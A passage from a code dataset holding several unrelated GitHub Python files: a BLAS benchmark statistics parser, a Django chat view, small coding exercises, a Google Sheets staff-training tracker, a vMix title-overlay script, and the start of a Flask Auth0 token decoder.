merged_full['N']/1.5)]\n\t\t\t\t\t#(merged_full['Aloc'] == 1 ) & (merged_full['Bloc'] == 1) & (merged_full['Cloc'] == 1) & \t\n\n\tprint( \"create_validation_set: %d pairs kept in the combined validation set\" %( len(merged)))\n\treturn merged\n\ndef validation_set_split_BLAS3(name,locs,mid_sizes,ctrs_fat,ctrs_thin,input_set):\n\tcond_total = False\n\tfor loc in locs:\n\t\tcond_loc = ((input_set['Aloc'] == loc[0] ) & (input_set['Bloc'] == loc[1]) & (input_set['Cloc'] == loc[2]))\n\t\tfor mid_size in mid_sizes:\n\t\t\tcond_sz = ((input_set['K']*input_set['M']*input_set['N'] <= (mid_size**3)) & ((input_set['K']+1)*(input_set['M']+1)*(input_set['N']+1) >= (mid_size-1)**3))\n\t\t\tfor ctr_fat in ctrs_fat:\n\t\t\t\t#set_row = input_set[(input_set['Aloc'] == loc[0] ) & (input_set['Bloc'] == loc[1]) & (input_set['Cloc'] == loc[2]) & \n\t\t\t\t\t\t\t#(input_set['K']*input_set['M']*input_set['N'] <= (mid_size**3)) & ((input_set['K']+1)*(input_set['M']+1)*(input_set['N']+1) >= (mid_size-1)**3) &\n\t\t\t\tcond_fat = ((input_set['M'] == input_set['N']) & (input_set['N'] >= input_set['K']*(ctr_fat**3)/8) & (input_set['N'] <= (input_set['K']+1)*(ctr_fat**3)/8) )\n\t\t\t\tcond_total = cond_total | (cond_loc & cond_sz & cond_fat)\n\t\t\t\t#set_row = input_set[cond_loc & cond_sz & cond_fat]\n\t\t\t\t#print (set_row)\n\t\t\tfor ctr_thin in ctrs_thin:\n\t\t\t\tcond_thin = ((input_set['M'] == input_set['N']) & (input_set['N'] >= input_set['K']*8/(ctr_thin**3)) & (input_set['N'] <= (input_set['K']+1)*8/(ctr_thin**3)) )\n\t\t\t\tcond_total = cond_total | (cond_loc & cond_sz & cond_thin)\n\t\t\t\t#set_row = input_set[cond_loc & cond_sz & cond_thin]\n\t\t\t\t#print (set_row)\n\tprint( \"validation_set_split_BLAS3: %d pairs in the clean validation set\" %( len(input_set[cond_total])))\n\treturn input_set[cond_total]\n\ndef validation_set_split_BLAS1(name,locs,sizes,input_set):\n\tcond_total = False\n\tfor loc in locs:\n\t\tcond_loc = ((input_set['Aloc'] == loc[0] ) & (input_set['Bloc'] == loc[1]) & (input_set['Cloc'] == -1))\n\t\tfor size in sizes:\n\t\t\tcond_sz = (input_set['N'] == size)\n\t\t\tcond_total = cond_total | (cond_loc & cond_sz)\n\tprint( \"validation_set_split_BLAS1: %d pairs in the clean validation set\" %( len(input_set[cond_total])))\n\treturn input_set[cond_total]\n\ndef create_statistics_single(validation_set, val_col, pred_col_mine):\n\t\t#print(merged.head(1))\n\t\tvalidation_set['PE'] = 100*(validation_set[pred_col_mine] - validation_set[val_col])/ validation_set[val_col]\n\t\tprint( \"MAPE : %lf\" % abs(validation_set['PE']).mean())\n\t\tprint( \"PE Standard deviation : %lf\" % validation_set['PE'].std())\n\t\t#merged_clean = merged[((merged['PE_CoCopeLia'] <= 50) & (merged['PE_CoCopeLia'] >= -50)) & ((merged['PE_werkhoven'] <= 50) & (merged['PE_werkhoven'] >= -50))]\n\t\tmy_outliers = validation_set[((validation_set['PE'] > 200) | (validation_set['PE'] < -200)) ]\n\t\tprint( \"Found %d outliers in > 200%s range:\" %( len(my_outliers), \"%\"))\n\t\tprint(my_outliers)\n\t\tmy_outliers = validation_set[((validation_set['PE'] > 55) & (validation_set['PE'] <=200)) | ((validation_set['PE'] < -50) & (validation_set['PE'] >= -200)) ]\n\t\tprint( \"Found %d outliers within 50-100%s range:\" %( len(my_outliers), \"%\"))\n\t\t#print(my_outliers)\n\t\tmy_outliers = validation_set[((validation_set['PE'] > 25) & (validation_set['PE'] <=50)) | ((validation_set['PE'] < -25) & (validation_set['PE'] >= -50)) ]\n\t\tprint( \"Found %d outliers within 25-50%s range:\"\t%( len(my_outliers), \"%\"))\n\t\t#print(my_outliers)\n\n\t\tperper_mine = []\n\t\tperper_static_sz = [1024,2048,3072,4096]\n\t\tperper_static_time = [[],[],[],[]]\n\n\t\tteams = validation_set.groupby(['M', 'N' , 'K', 'Aloc', 'Bloc', 'Cloc'])\n\t\tprint(\"Validation sizes explored: %d\" % len(teams))\n\t\tfor state, curr_set in teams:\n\t\t\t#print(f\"First 2 entries for {state!r}\")\n\t\t\t#print(\"------------------------\")\n\t\t\t#print(curr_set.head(2), end=\"\\n\\n\")\n\t\t\t#curr_set = validation_set[(validation_set['M'] == size) & (validation_set['N'] == size) & (validation_set['K'] == size) & (validation_set['Aloc'] == loc[0]) & (validation_set['Bloc'] == loc[1]) & (validation_set['Cloc'] == loc[2])]\n\t\t\tperper_mine.append(curr_set[val_col].min()/curr_set.iloc[curr_set[pred_col_mine].argmin()][val_col])\n\t\t\tfor static_sz_ctr in range(len(perper_static_sz)):\n\t\t\t\tstatic_sz = perper_static_sz[static_sz_ctr]\n\t\t\t\tif (curr_set[curr_set['T'] == static_sz].empty == False):\n\t\t\t\t\tperper_static_time[static_sz_ctr].append(float(curr_set[val_col].min()/curr_set[curr_set['T'] == static_sz][val_col]))\n\t\t\t\telse:\n\t\t\t\t\tperper_static_time[static_sz_ctr].append(float(curr_set[val_col].min()/curr_set[curr_set['T'] == curr_set['T'].max()][val_col]))\n\t\tif(len(teams)):\n\t\t\tperper_mine_geo = 100*stats.gmean(perper_mine,axis=0)\n\t\tprint( \"Prediction Perf achieved (GEO.MEAN): %lf\" % perper_mine_geo)\n\n\t\tfor static_sz_ctr in range(len(perper_static_sz)):\n\t\t\tstatic_sz = perper_static_sz[static_sz_ctr]\n\t\t\tif len(perper_static_time[static_sz_ctr])!=0:\n\t\t\t\tperper_static_geo = 100*stats.gmean(perper_static_time[static_sz_ctr],axis=0)\n\t\t\t\tprint( \"Static T=%d Perf achieved for %d cases: %lf\" % (static_sz, len(perper_static_time[static_sz_ctr]), perper_static_geo))\t\t\n\t\tprint(\"\\n\")\n\ndef create_statistics(validation_set, val_col, pred_col_mine, pred_col_other):\n\t\t#print(merged.head(1))\n\t\tvalidation_set['PE_Mine'] = 100*(validation_set[pred_col_mine] - validation_set[val_col])/ validation_set[val_col]\n\t\tvalidation_set['PE_Comparisson'] = 100*(validation_set[pred_col_other] - validation_set[val_col])/ validation_set[val_col]\n\t\tprint( \"My MAPE : %lf\" % abs(validation_set['PE_Mine']).mean())\n\t\tprint( \"Comparisson MAPE : %lf\" % abs(validation_set['PE_Comparisson']).mean())\n\n\t\tprint( \"My PE Standard deviation : %lf\" % validation_set['PE_Mine'].std())\n\t\tprint( \"Comparisson PE Standard deviation : %lf\" % validation_set['PE_Comparisson'].std())\n\n\t\t#merged_clean = merged[((merged['PE_CoCopeLia'] <= 50) & (merged['PE_CoCopeLia'] >= -50)) & ((merged['PE_werkhoven'] <= 50) & (merged['PE_werkhoven'] >= -50))]\n\t\tmy_outliers = validation_set[((validation_set['PE_Mine'] > 50) | (validation_set['PE_Mine'] < -50)) ]\n\t\tcomparisson_outliers = validation_set[((validation_set['PE_Comparisson'] > 50) | (validation_set['PE_Comparisson'] < -50)) ]\n\t\tprint( \"Found %d Comparisson outliers:\"\t%( len(comparisson_outliers)))\n\t\t#print(comparisson_outliers)\n\t\tprint( \"Found %d CoCopeLia outliers:\"\t%( len(my_outliers)))\n\t\t#print(my_outliers)\n\n\t\tperper_mine = []\n\t\tperper_comp = []\n\t\tperper_static_sz = [1024,2048,3072,4096]\n\t\tperper_static_time = [[],[],[],[]]\n\n\t\tteams = validation_set.groupby(['M', 'N' , 'K', 'Aloc', 'Bloc', 'Cloc'])\n\t\tfor state, curr_set in teams:\n\t\t\t#print(f\"First 2 entries for {state!r}\")\n\t\t\t#print(\"------------------------\")\n\t\t\t#print(curr_set.head(2), end=\"\\n\\n\")\n\t\t\t#curr_set = validation_set[(validation_set['M'] == size) & (validation_set['N'] == size) & (validation_set['K'] == size) & (validation_set['Aloc'] == loc[0]) & (validation_set['Bloc'] == loc[1]) & (validation_set['Cloc'] == loc[2])]\n\t\t\tperper_mine.append(curr_set[val_col].min()/curr_set.iloc[curr_set[pred_col_mine].argmin()][val_col])\n\t\t\tperper_comp.append(curr_set[val_col].min()/curr_set.iloc[curr_set[pred_col_other].argmin()][val_col])\n\t\t\tfor static_sz_ctr in range(len(perper_static_sz)):\n\t\t\t\tstatic_sz = perper_static_sz[static_sz_ctr]\n\t\t\t\tif (curr_set[curr_set['T'] == static_sz].empty == False):\n\t\t\t\t\tperper_static_time[static_sz_ctr].append(float(curr_set[val_col].min()/curr_set[curr_set['T'] == static_sz][val_col]))\n\t\t\t\telse:\n\t\t\t\t\tperper_static_time[static_sz_ctr].append(float(curr_set[val_col].min()/curr_set[curr_set['T'] == curr_set['T'].max()][val_col]))\n\t\tif(len(teams)):\n\t\t\tperper_mine_geo = 100*stats.gmean(perper_mine,axis=0)\n\t\t\tperper_comp_geo = 100*stats.gmean(perper_comp,axis=0)\n\t\tprint( \"My Prediction Perf achieved (GEO.MEAN): %lf\" % perper_mine_geo)\n\t\tprint( \"Comparisson Prediction Perf achieved (GEO.MEAN): %lf\" % perper_comp_geo)\n\n\t\tfor static_sz_ctr in range(len(perper_static_sz)):\n\t\t\tstatic_sz = perper_static_sz[static_sz_ctr]\n\t\t\tif len(perper_static_time[static_sz_ctr])!=0:\n\t\t\t\tperper_static_geo = 100*stats.gmean(perper_static_time[static_sz_ctr],axis=0)\n\t\t\t\tprint( \"Static T=%d Perf achieved for %d cases: %lf\" % (static_sz, len(perper_static_time[static_sz_ctr]), perper_static_geo))\t\t\n\t\tprint(\"\\n\")\n \ndef cleanT(df, T_remove_list):\n\tapply_cond = True\n\tfor T in T_remove_list:\n\t\tapply_cond = apply_cond & (df['T'] != T)\n\treturn df[apply_cond]\n\n","repo_name":"p-anastas/PARALiA-Framework","sub_path":"Benchmarking/Python_Scripts/input_parsing.py","file_name":"input_parsing.py","file_ext":"py","file_size_in_byte":14678,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"19699251208","text":"import logging\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import get_user_model\nfrom .models import *\n\nlogger = logging.getLogger(__name__)\nUser = get_user_model()\n\n@login_required\ndef chat_view(request):\n if Room.users.through.objects.filter(user=request.user).exists():\n room = Room.users.through.objects.filter(user=request.user).first().room\n else:\n room = Room.objects.create(name=request.user.username)\n admin = User.objects.filter(is_superuser=True).first()\n room.users.add(admin)\n room.users.add(request.user)\n #room, created = Room.users.through.objects.get_or_create(user=request.user)\n data = {\n 'room': room,\n 'product': request.GET.get('product', 0)\n }\n return render(request, 'chat/chat.html', data)\n","repo_name":"ChanMo/django-chat","sub_path":"chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"21924653145","text":"'''\n\nQuestion:\n\nPlease write a program to shuffle and print the list [3,6,7,8].\n\n\n\nHints:\nUse shuffle() function to shuffle a list.\n\nSolution:\n\n'''\n\nimport random\n\nlst = [3,6,7,8]\nrandom.shuffle(lst)\nprint(lst)\n","repo_name":"naveentrigunayat/Pythontutorial","sub_path":"Python Code/0.Interview Question/Algoritham 128/84.py","file_name":"84.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"17804173103","text":"\"\"\"\nimporting python modules\n\"\"\"\nimport os\nimport sys\nimport datetime\nfrom time import sleep\nimport gspread # API for google sheets\nfrom google.oauth2.service_account import Credentials\nfrom colorama import init, Fore, Style\ninit(autoreset=True)\n\nSCOPE = [\n \"https://www.googleapis.com/auth/spreadsheets\",\n \"https://www.googleapis.com/auth/drive.file\",\n \"https://www.googleapis.com/auth/drive\"\n ]\n\nCREDS = Credentials.from_service_account_file('creds.json')\nSCOPED_CREDS = CREDS.with_scopes(SCOPE)\nGSPREAD_CLIENT = gspread.authorize(SCOPED_CREDS)\nSHEET = GSPREAD_CLIENT.open('srs_training_tracker')\n\nskills = SHEET.worksheet('skills')\nstaff = SHEET.worksheet('staff')\ntraining_log = SHEET.worksheet('training_log')\n\n\ndef clear_screen():\n \"\"\"Clear screen.\"\"\"\n os.system('clear')\n\n\ndef welcome():\n \"\"\" Welcome title and intro text.\"\"\"\n\n print(Fore.BLUE + Style.BRIGHT + ' +-+-+-+')\n print(Fore.BLUE + Style.BRIGHT + ' |S|R|S|')\n print(Fore.BLUE + Style.BRIGHT + ' +-+-+-+-+-+-+-+-+')\n print(Fore.BLUE + Style.BRIGHT + ' |T|r|a|i|n|i|n|g|')\n print(Fore.BLUE + Style.BRIGHT + ' +-+-+-+-+-+-+-+-+')\n print(Fore.BLUE + Style.BRIGHT + ' |A|p|p|')\n print(Fore.BLUE + Style.BRIGHT + ' +-+-+-+\\n')\n\n print('This app records & reports staff training for all SRS skills\\n')\n print('1. You can add a new staff member')\n print('2. You can update staff records when staff achieve skills')\n print('3. You can search by:')\n print(' *SRS skill')\n print(' - who is approved for a particular skill')\n print(' *Staff member')\n print(' - what skills a particular staff member has')\n\n\ndef main():\n \"\"\"Main menu.\n\n Give 3 options to user: enter new staff member;\n update staff member; search. Send user to\n selected menu page after successful input.\n Manage input errors.\n \"\"\"\n print(Fore.BLUE + Style.BRIGHT + '\\nMENU OPTIONS')\n print('1: Enter a new staff member')\n print('2: Update skills for a staff member')\n print('3: Search records by skill or staff\\n')\n\n while True:\n try:\n answer = int(input(Fore.GREEN\n + 'Enter 1, 2 or 3 to proceed (or 0 to exit):\\n'))\n except ValueError:\n # if entering a letter or other non-number key return to input\n print(Fore.RED + 'please choose a number (only) from the menu\\n')\n continue\n if answer > 3:\n # if entering a number not 1-3 or 9, set to return to input\n print(\n Fore.RED + 'Please choose number 0 - 3 from the menu\\n')\n continue\n break\n\n if answer == 1:\n clear_screen()\n reg_new_staff()\n elif answer == 2:\n find_staff()\n get_staff_id()\n display_staff_skills()\n skill_menu()\n user_skill_input()\n elif answer == 3:\n clear_screen()\n search_menu()\n elif answer == 0:\n print(Fore.YELLOW + \"You are exiting the system\")\n clear_screen()\n sys.exit()\n\n\ndef check_for_duplication(fname, lname, position):\n \"\"\"Check for fname/lname duplication.\n\n Check against staff worksheet. If found send\n user back to name entry. If OK, go to storing\n new staff function.\n Take fname, lname, position parameters.\n \"\"\"\n name_check = staff.get_all_values()\n\n i = 0\n while i < len(name_check):\n if fname == name_check[i][1] and lname == name_check[i][2]:\n print(Fore.RED + '\\n***Duplicate staff entry, try again***\\n')\n reg_new_staff()\n break\n i += 1\n\n storing_new_staff(fname, lname, position)\n\n\ndef storing_new_staff(fname, lname, position):\n \"\"\" Store new staff in worksheet.\n\n Take fname, lname & position parameters.\n \"\"\"\n\n clear_screen()\n print('Sending information to worksheet')\n sleep(1)\n staff_id = len(staff.get_all_values())\n staff_entry = [staff_id, fname, lname, position]\n staff.append_row(staff_entry)\n print('Staff member entry successful')\n print('Returning to main menu\\n')\n main()\n\n\ndef reg_new_staff():\n \"\"\"Capture new staff name/position.\n\n Add to staff worksheet.\n \"\"\"\n\n print(Fore.BLUE + Style.BRIGHT\n + 'ENTER NEW STAFF MEMBER')\n print('Search is by first name & last name')\n print('Please enter details with no spaces, numbers or symbols\\n')\n\n while True:\n try:\n fname = input(\n 'Enter first name of staff member:\\n').upper()\n lname = input('Enter last name of staff member:\\n').upper()\n position = input(\n 'Enter staff position - Junior, Senior or CS:\\n').upper()\n print(Fore.GREEN +\n f'\\n You entered: {fname} {lname}; position: {position}')\n except ValueError():\n print(Fore.RED + 'Please try again as your entry is invalid\\n')\n continue\n else:\n reg_staff_validation(fname, lname, position)\n\n\ndef reg_staff_breaker():\n \"\"\"Menu options to break out of staff_entry loop.\"\"\"\n\n try:\n answer8 = int(input(Fore.GREEN\n + 'Enter 0: main menu 1: try again:\\n'))\n if answer8 == 0:\n main()\n elif answer8 == 1:\n reg_new_staff()\n except ValueError:\n print(Fore.RED + 'Please choose number 0 or 1 from the menu')\n reg_staff_breaker()\n else:\n print(Fore.RED + 'Please choose number 0 or 1 from the menu')\n reg_staff_breaker()\n\n\ndef reg_staff_validation(fname, lname, position):\n \"\"\"Validate new staff registration entry.\n\n Takes parameters fname, lname & position.\n \"\"\"\n try:\n if not fname.isalpha():\n print(Fore.RED + 'Try again, first name entry is invalid\\n')\n reg_staff_breaker()\n elif not lname.isalpha():\n print(Fore.RED + 'Try again, last name entry is invalid\\n')\n reg_staff_breaker()\n elif not position.isalpha():\n print(Fore.RED + 'Try again, position entry is invalid\\n')\n reg_staff_breaker()\n elif position != 'JUNIOR' and position != 'SENIOR' and \\\n position != 'CS':\n print(Fore.RED + 'Try again, position entry is invalid\\n')\n reg_staff_breaker()\n except ValueError:\n print(Fore.RED + 'Try again, entry is invalid\\n')\n reg_staff_breaker()\n else:\n answer2 = input(Fore.GREEN\n + 'Is this information correct (Y or N)?\\n').upper()\n if answer2 != 'Y':\n print(Fore.RED + '\\nTry input again')\n reg_staff_breaker()\n elif answer2 == 'Y':\n check_for_duplication(fname, lname, position)\n\n\ndef skills_dict():\n \"\"\"Create skills dictionary from skills list\"\"\"\n\n skills_list = skills.get_all_values()\n # returns a list of lists from skills worksheet\n skills_dict1 = {i[0]: i[1] for i in skills_list}\n # converts list to dictionary using dictionary comprehension\n\n return skills_dict1\n\n\ndef skill_menu():\n \"\"\"List of skills to be added to staff profile.\"\"\"\n\n skills1 = skills_dict()\n\n print(Fore.BLUE + Style.BRIGHT + '\\nSRS SKILLS LIST\\n')\n for key in skills1:\n print(key, skills1[key])\n # loops over dict, prints each key & value on a single line\n\n print('\\n')\n print(Fore.BLUE + Style.BRIGHT + 'Instructions')\n print('To add a skill - enter the skill number\\n')\n\n\ndef user_skill_input():\n \"\"\"Accepts user skill input.\n\n Checks validity. Stores input in\n training log worksheet.\n \"\"\"\n staff_id1 = get_staff_id()\n skills1 = skills_dict()\n\n try:\n skill_to_input = (input(Fore.BLUE + Style.BRIGHT\n + '\\nEnter skill number:\\n'))\n\n if 0 < int(skill_to_input) <= len(skills.get_all_values()):\n for key, value in skills1.items():\n if skill_to_input == key:\n print(Fore.GREEN + f'You selected {key}: {value}')\n answer3 = input(Fore.GREEN +\n 'is this correct (Y or N)?\\n').upper()\n if answer3 != 'Y':\n print(Fore.RED + '\\nTry input again')\n clear_screen()\n skill_menu()\n display_staff_skills()\n user_skill_input()\n if answer3 == 'Y':\n date = str(datetime.date.today())\n skill_entry = [staff_id1, skill_to_input, date]\n vaildation_user_skill_input(skill_entry)\n training_log.append_row(skill_entry)\n print('Sending information to worksheet')\n sleep(1)\n more_skill_input()\n else:\n print(Fore.RED +\n '\\nTry again - you did not enter a valid number\\n')\n skill_menu()\n user_skill_input()\n\n except ValueError:\n print(Fore.RED + \"You must enter a number only\")\n skill_menu()\n user_skill_input()\n\n\ndef vaildation_user_skill_input(skill_entry):\n \"\"\"Check for skill entry duplication.\n\n Send user to more_skill_input if duplicate found.\n Takes skill_entry parameter.\n \"\"\"\n t_log = training_log.get_all_values()\n\n i = 0\n while i < len(t_log):\n if t_log[i][0] == skill_entry[0]:\n if t_log[i][1] == skill_entry[1]:\n print(Fore.RED + '\\nDuplicate entry, try again')\n more_skill_input()\n break\n i += 1\n\n\ndef more_skill_input():\n \"\"\"Give option to enter further skills\"\"\"\n\n answer4 = input(Fore.BLUE + Style.BRIGHT\n + 'Do you want to enter another skill (Y or N)?\\n').upper()\n\n if answer4 != 'Y':\n print('\\n Returning to main menu')\n clear_screen()\n main()\n if answer4 == 'Y':\n print(Fore.BLUE + Style.BRIGHT + 'Make another selection\\n')\n skill_menu()\n user_skill_input()\n\n\ndef find_staff():\n \"\"\"User input for fname/lname for existing staff.\n\n Check validity.\n \"\"\"\n clear_screen()\n\n print(Fore.BLUE + Style.BRIGHT + \"\\nFIND STAFF MEMBER:\\n\")\n print('Please enter details with no spaces, numbers or symbols\\n')\n fname_existing = input(\"Enter first name of staff member:\\n\").upper()\n lname_existing = input(\"Enter last name of staff member:\\n\").upper()\n\n if not fname_existing.isalpha():\n print(Fore.RED + 'Your first name entry is invalid')\n find_staff_breaker()\n if not lname_existing.isalpha():\n print(Fore.RED + 'Your last name entry is invalid')\n find_staff_breaker()\n\n global requested_name\n requested_name = [fname_existing, lname_existing]\n get_staff_id()\n return requested_name\n\n\ndef find_staff_breaker():\n \"\"\"Menu options to break out of find_staff loop.\n\n If name input in find_staff are invalid give\n user option to try again or return to main menu.\n \"\"\"\n try:\n answer6 = int(input(Fore.GREEN\n + 'Enter 1 to try again, 0 to go to main menu:\\n'))\n if answer6 == 0:\n main()\n elif answer6 == 1:\n find_staff()\n else:\n print(Fore.RED + 'Please choose number 0 or 1 from the menu')\n find_staff_breaker()\n except ValueError:\n print(Fore.RED + 'Please choose number 0 or 1 from the menu')\n find_staff_breaker()\n\n\ndef get_staff_id():\n \"\"\"Validate staff id exists.\n\n Uses requested_name.\n Returns user to find_staff if invalid.\n \"\"\"\n name_check = staff.get_all_values()\n name_check_dict = {i[0]: i[1:3] for i in name_check}\n # convert list to dictionary & assign staff id as the key\n name_check_values = name_check_dict.values()\n\n if requested_name in name_check_values:\n for key, value in name_check_dict.items():\n for i in value:\n if requested_name == value:\n staff_id_found = key\n return staff_id_found\n else:\n print(Fore.RED + \"\\nStaff member does not exist, try again\\n\")\n get_id_breaker()\n\n\ndef get_id_breaker():\n \"\"\"Menu options to break out of get_id loop.\n\n If name input in get_staff_id not found, give\n user option to try again or return to main or\n search menu.\n \"\"\"\n try:\n answer7 = int(input(Fore.GREEN\n + 'Enter 0: main menu, 1: search menu, 2: try again:'))\n if answer7 == 0:\n main()\n elif answer7 == 1:\n search_menu()\n elif answer7 == 2:\n find_staff()\n else:\n print(Fore.RED + 'PLEASE choose number 0 - 2 from the menu')\n get_id_breaker()\n except ValueError:\n print(Fore.RED + 'Please choose number 0 - 2 from the menu')\n\n\ndef display_staff_skills():\n \"\"\"Display list of skills assigned to staff member\"\"\"\n\n t_log = training_log.get_all_values()\n\n skills1 = skills_dict()\n staff_id_found1 = get_staff_id()\n\n print(Fore.BLUE + Style.BRIGHT\n + f\"\\n{requested_name[0]} {requested_name[1]}'s current skills\\n\")\n\n key_dict = {}\n i = 1\n while i < len(t_log):\n if t_log[i][0] == staff_id_found1:\n xxx = t_log[i][1]\n for key, value in skills1.items():\n if xxx in key:\n print(f'{key} : {value}')\n key_dict[f'{key}'] = 'Add'\n i += 1\n if not key_dict:\n print(Fore.RED + \"No skills are assigned to this staff member\\n\")\n\n\ndef display_staff_menu():\n \"\"\"Load menu choices after user views staff skills\"\"\"\n print(Fore.BLUE + Style.BRIGHT + '\\nDo you want to:\\n')\n print('1: Search for another staff member')\n print('2: Add skills for this staff member')\n print('0: Return to main menu\\n')\n\n try:\n answer5 = int(input('Enter 1 or 2 to proceed (or 0 for main menu):\\n'))\n if answer5 == 1:\n find_staff()\n get_staff_id()\n display_staff_skills()\n display_staff_menu()\n if answer5 == 2:\n skill_menu()\n user_skill_input()\n if answer5 == 0:\n clear_screen()\n main()\n except ValueError:\n # if entering a letter or other non-number key return to input\n print(Fore.RED + 'please choose a valid option from the menu\\n')\n else:\n if answer5 != 0 or 1 or 2:\n # if entering a number not 0 or 1, set to return to input\n print(Fore.RED + 'please choose a valid option from the menu\\n')\n\n\ndef search_menu():\n \"\"\"Display search menu options.\n\n Options for user to search by\n staff member, skill or all.\n \"\"\"\n clear_screen()\n\n while True:\n try:\n print(Fore.BLUE + Style.BRIGHT + 'SEARCH MENU OPTIONS\\n')\n print('1: Staff search - displays all skills for a staff member')\n print('2: Skill search - displays all staff members with skill')\n print('0: Return to main menu\\n')\n answer = int(input(Fore.GREEN + 'Enter 0, 1 or 2 to proceed:\\n'))\n except ValueError:\n # if entering a letter or other non-number key return to input\n print(Fore.RED +\n 'Please choose a valid number option from the menu\\n')\n else:\n if answer > 2:\n # if entering a number not 0-2, set to return to input\n print(Fore.RED + '\\nPlease choose 0 - 2 from the menu\\n')\n elif answer == 1:\n find_staff()\n get_staff_id()\n display_staff_skills()\n display_staff_menu()\n elif answer == 2:\n print('\\nSKILL SEARCH\\n')\n skill_search_result()\n elif answer == 0:\n clear_screen()\n main()\n\n\ndef get_skill_id():\n \"\"\"Get skill id from user input.\"\"\"\n skills1 = skills_dict()\n\n for key in skills1:\n print(key, skills1[key])\n # loops over dict, prints each key & value on a single line\n\n print(Fore.GREEN + '\\nWhich skill do you want to query?')\n\n while True:\n try:\n skill_id_key = int(input(Fore.GREEN + \"Enter number 1 - 9:\\n\"))\n except ValueError:\n print(Fore.RED + 'Please enter a number only\\n')\n continue\n else:\n if 1 < skill_id_key > 9:\n print(Fore.RED + 'Please enter number 1 - 9\\n')\n continue\n elif skill_id_key == 0:\n print(Fore.RED + 'Please enter number 1 - 9\\n')\n continue\n break\n\n print(Fore.BLUE + Style.BRIGHT\n + f\"\\nStaff with skill number {skill_id_key} are:\\n\")\n\n return str(skill_id_key)\n\n\ndef staff_w_skill_id():\n \"\"\"Search worksheet for staff with skill id.\n\n Use skill_id to search training log for staff\n with that skill id.\n Return list with the relevant staff ids.\n \"\"\"\n skill_id_key = get_skill_id()\n t_log = training_log.get_all_values()\n\n staff_with_skill = []\n i = 0\n while i < len(t_log):\n if t_log[i][1] == skill_id_key:\n staff_with_skill.extend(t_log[i][0])\n # return a list with the staff ids\n i += 1\n\n if not staff_with_skill:\n print(Fore.RED\n + \"There are no staff registered with this skill\\n\")\n search_menu()\n else:\n return staff_with_skill\n\n\ndef skill_search_result():\n \"\"\"Display list of staff with assigned skill.\n\n Takes staff_with_skill, skill_id_key.\n \"\"\"\n name_check = staff.get_all_values()\n name_check_dict = {i[0]: i[1:4] for i in name_check}\n\n staff_with_skill1 = staff_w_skill_id()\n\n i = 0\n while i < len(staff_with_skill1):\n for key, value in name_check_dict.items():\n abc = staff_with_skill1[i]\n if abc in key:\n print(f'{value[0]} {value[1]}, position: {value[2]}')\n i += 1\n print('')\n\n\nif __name__ == '__main__':\n welcome()\n main()\n","repo_name":"sarahliz24/srs-training-tracker","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":18106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8544870311","text":"import sys\n\n# 확장자 별로 정리\n# 사전 순 정렬\n\nn = int(sys.stdin.readline())\n\nfiles = list(sys.stdin.readline().strip() for _ in range(n))\n\ndic = {}\n\nfor i in range(len(files)):\n name,typ = files[i].split('.')\n if typ not in dic:\n dic[typ] = 1\n else:\n dic[typ] += 1\n\nans = []\n\nfor key,value in dic.items():\n ans.append([key,value])\n\nans.sort()\n\nfor i in range(len(ans)):\n a,b = ans[i]\n print(a,b)","repo_name":"kimkihoon0515/CodingTest","sub_path":"문자열/20291/20291.py","file_name":"20291.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"12201661592","text":"import requests\r\nimport datetime\r\nimport configparser\r\nimport time\r\n\r\nconfig = configparser.ConfigParser()\r\nconfig.read('config.ini')\r\n\r\nrealtime = datetime.datetime.now()\r\ntimestamp = '1500'\r\ndate = realtime.strftime(\"%B %#d\" + \" \" + \"%Y\")\r\n\r\ntitle = config[timestamp]['title']\r\ndescription = config[timestamp]['description'] + \", \" + date\r\ntitle = \"SelectedName=Title&Value=\" + title\r\ndescription = \"SelectedName=Description&Value=\" + description\r\nbase_url = 'http://192.168.0.12:8088/api/?Function=SetText&Input=Title8AmericasBlue.xaml&'\r\n\r\ntitle_url = ''.join([base_url, title])\r\ndescription_url = ''.join([base_url, description])\r\n\r\nrequests.get(title_url)\r\nrequests.get(description_url)\r\n\r\nrequests.get('http://192.168.0.12:8088/api/?Function=OverlayInput1In&Input=Title8AmericasBlue.xaml&Fade=1150')\r\n\r\ntime.sleep(6)\r\n\r\nrequests.get('http://192.168.0.12:8088/api/?Function=OverlayInput1Out&Input=Title8AmericasBlue.xaml&Fade=1150')\r\n","repo_name":"gintdm/Automated-Youtube-Uploads","sub_path":"PythonTitleScript.py","file_name":"PythonTitleScript.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"27354291804","text":"import base64\nimport functools\nimport logging\nimport os\n\nimport flask\nfrom flask import _request_ctx_stack\nimport flask_api\nimport jwt\n\nfrom api.database import get\n\n\nAUTH0_CLIENT_ID = os.environ.get('AUTH0_CLIENT_ID', '')\nAUTH0_SECRET_ID = os.environ.get('AUTH0_SECRET_ID', '')\n\nlog = logging.getLogger()\nlog.setLevel(logging.INFO)\n\n\ndef decode(token):\n try:\n secret = base64.b64decode(\n AUTH0_SECRET_ID.replace('_', '/').replace('-', '+'))\n payload = jwt.decode(token, secret, audience=AUTH0_CLIENT_ID)\n return payload, flask_api.status.HTTP_200_OK\n except jwt.ExpiredSignature:\n data = {'errors': [{\n 'title': 'authorization error',\n 'detail': 'expired token'}]}\n return data, flask_api.status.HTTP_401_UNAUTHORIZED\n except jwt.InvalidAudienceError:\n data = {'errors': [{\n 'title': 'authorization error',\n 'detail': 'incorrect audience'}]}\n return data, flask_api.status.HTTP_401_UNAUTHORIZED\n except jwt.DecodeError:\n data = {'errors': [{\n 'title': 'authorization error',\n 'detail': 'invalid signature'}]}\n return data, flask_api.status.HTTP_401_UNAUTHORIZED\n except Exception as e:\n log.exception(e)\n data = {'errors': [{\n 'title': 'authorization error',\n 'detail': 'unknown error occured while parsing authentication',\n 'source': 